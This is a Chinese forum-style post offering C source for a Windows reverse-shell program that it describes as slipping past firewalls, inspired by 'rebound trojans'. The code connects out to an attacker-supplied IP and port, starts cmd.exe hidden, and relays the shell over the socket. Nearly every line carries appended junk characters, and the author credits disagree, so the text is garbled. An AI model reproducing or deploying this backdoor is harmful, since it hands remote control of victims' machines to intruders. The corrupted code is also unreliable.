这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +M s`C)f
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/* ==============================
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Rebound port in Windows NT h.t2 ;O, b
By wind,2006/7 35}]U=
===============================*/ ZHN}:W/p
#include -~+Y0\%E
#include a +lTAe
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#pragma comment(lib,"wsock32.lib") 0}4FwcCr\
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void OutputShell(); 2EAY`}Rl6.
SOCKET sClient; K0 6 E:
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; UmNh0nS
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void main(int argc,char **argv) }"\jB
{ &Jf67\N
WSADATA stWsaData; a?
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int nRet; XEpwk,8*g
SOCKADDR_IN stSaiClient,stSaiServer; Cn"L*\o
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if(argc != 3) 0s2@z5bfX
{ R=m9[TgBm
printf("Useage:\n\rRebound DestIP DestPort\n"); ~i5t1
return; =N?K)QD`
} ;n2b$MB?nM
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WSAStartup(MAKEWORD(2,2),&stWsaData); iS#m{1m$$
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \!J9|
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stSaiClient.sin_family = AF_INET; _[p@V_my
stSaiClient.sin_port = htons(0); O{&wqV5m"
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7a#zr_r
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !fT3mI6u\
{ _usi~m
printf("Bind Socket Failed!\n"); <&87aDYz
return; r$/.x6g//
} R1j)0b6cQ%
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stSaiServer.sin_family = AF_INET; =>u9k:('9
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ];7/DM#Np
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); wPRs.(]_
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )an,-EIX%
{ V+dFL9
printf("Connect Error!"); =7P(T`j
return; #fkOm
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} ~'3hK4
OutputShell(); !1{kG%B=
} SHt#%3EU
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void OutputShell() MoP,a9p
{ j|c6BdROl
char szBuff[1024]; M\w%c5
SECURITY_ATTRIBUTES stSecurityAttributes; `mo>~c7
OSVERSIONINFO stOsversionInfo; 6u-aV
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; YThFskR oO
STARTUPINFO stStartupInfo; @K}8zMmW#
char *szShell; 1z5\>F
PROCESS_INFORMATION stProcessInformation; Yv7`5b{N.
unsigned long lBytesRead; +`$[h2Z=:
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {S=gXIh(y
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |vf /M|
stSecurityAttributes.lpSecurityDescriptor = 0; o ImW
stSecurityAttributes.bInheritHandle = TRUE; fNZ:l=L3):
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); j[q$;uSD
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @ZFU< e$!
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); uom~,k$|
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /ar/4\b
stStartupInfo.wShowWindow = SW_HIDE; _!'sj=n]q
stStartupInfo.hStdInput = hReadPipe; _0c$SK
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,Z1W3;O
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GetVersionEx(&stOsversionInfo); 'h~I#S4!
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switch(stOsversionInfo.dwPlatformId) #{L
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{ R$xk cg2(
case 1: {V*OYYI`R
szShell = "command.com"; k w]m7T
break; 4}t&AW4
default: v*.#LJEm
szShell = "cmd.exe"; DfL>fk
break; AG==A&d>$
} 4t;m^Iv
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); DHO+JtO
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send(sClient,szMsg,77,0); sJ(q.FRM'
while(1) A[.5Bi
{ A1u|L^
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <1EmQ)B
if(lBytesRead) ~RS^Opoa
{ {Q@pF
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |}y6U< I
send(sClient,szBuff,lBytesRead,0); 5NECb4FG
} .1 =8c\%
else
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{ 7Yjxx+X9
lBytesRead=recv(sClient,szBuff,1024,0); 05>xQx?"m4
if(lBytesRead<=0) break; FII>6c
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); R.+yVO2
} {<_9QAS
} iTq~^9G
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return; / Dn
}